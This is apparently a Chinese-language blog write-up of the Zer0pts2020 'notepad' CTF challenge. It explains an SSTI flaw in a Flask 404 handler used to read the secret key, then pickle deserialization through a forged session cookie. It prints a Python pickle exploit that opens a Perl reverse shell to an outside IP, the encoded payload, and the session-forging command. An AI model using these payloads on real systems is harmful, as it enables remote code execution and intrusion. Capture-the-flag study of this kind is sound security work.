CTF Web安全

[Zer0pts2020]notepad(ssti+python反序列化)

Posted on 2020-06-23,3 min read

下源码。首先就是看路由
404界面。很明显的SSTI

@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")
    //获取Referer头
    if referrer is None: referrer = '/'
    //如果没有就设置为/
    if not valid_url(referrer): referrer = '/'
    //调用valid_url。
    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
    
    return flask.render_template_string(html), 404

继续看看valid_url函数

def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url
    //获取请求的主机名
    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404
    //判断referer-host。长度大于16.就返回False
    return True

那么貌似只能构造{{config}}。读取secret

得到secret后。能伪造东西了。
继续看源码

savedata会被base64解码。然后反序列化。那么可能存在反序列化漏洞
继续看savedata哪来的。是从session的savedata中取。我们可以构造一个恶意反序列化代码。然后base64
例如

{"savedata":"恶意的反序列化代码"}

然后用密钥签名下。生成jwt。就行了
继续看这个函数哪里调用了

只要访问替换jwt。然后访问/notes/1就可以触发load函数。然后触发反序列化

生成反序列化恶意代码

import pickle
import base64
import os
class Person(object):
    def __reduce__(self):
        return (os.system,("""perl -e 'use Socket;$i="174.1.231.162";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""",))
admin=Person()
print(base64.b64encode(pickle.dumps(admin)))

然后用flask session的工具生成下jwt

python flask_session_cookie_manager.py encode -s `echo ueUt4wLFsf5b9T3iO2TzhQ==|base64 -d` -t "{'savedata':'Y3Bvc2l4CnN5c3RlbQpwMAooUydwZXJsIC1lIFwndXNlIFNvY2tldDskaT0iMTc0LjEuMjMxLjE2MiI7JHA9ODg4ODtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTtcJycKcDEKdHAyClJwMwou'}"

由于密钥有部分不可见字符。所以这里用base64+反引号
成功反弹shell

这里有坑。一开始用bash就死活弹不出来。发现是环境变量有问题。不能直接bash -i
要/bin/bash。然后又有问题了。。
同样的py生成的exp。打不通了。。直接500

下一篇: RedPwnCTF的一题sh混淆杂项(uglybash)→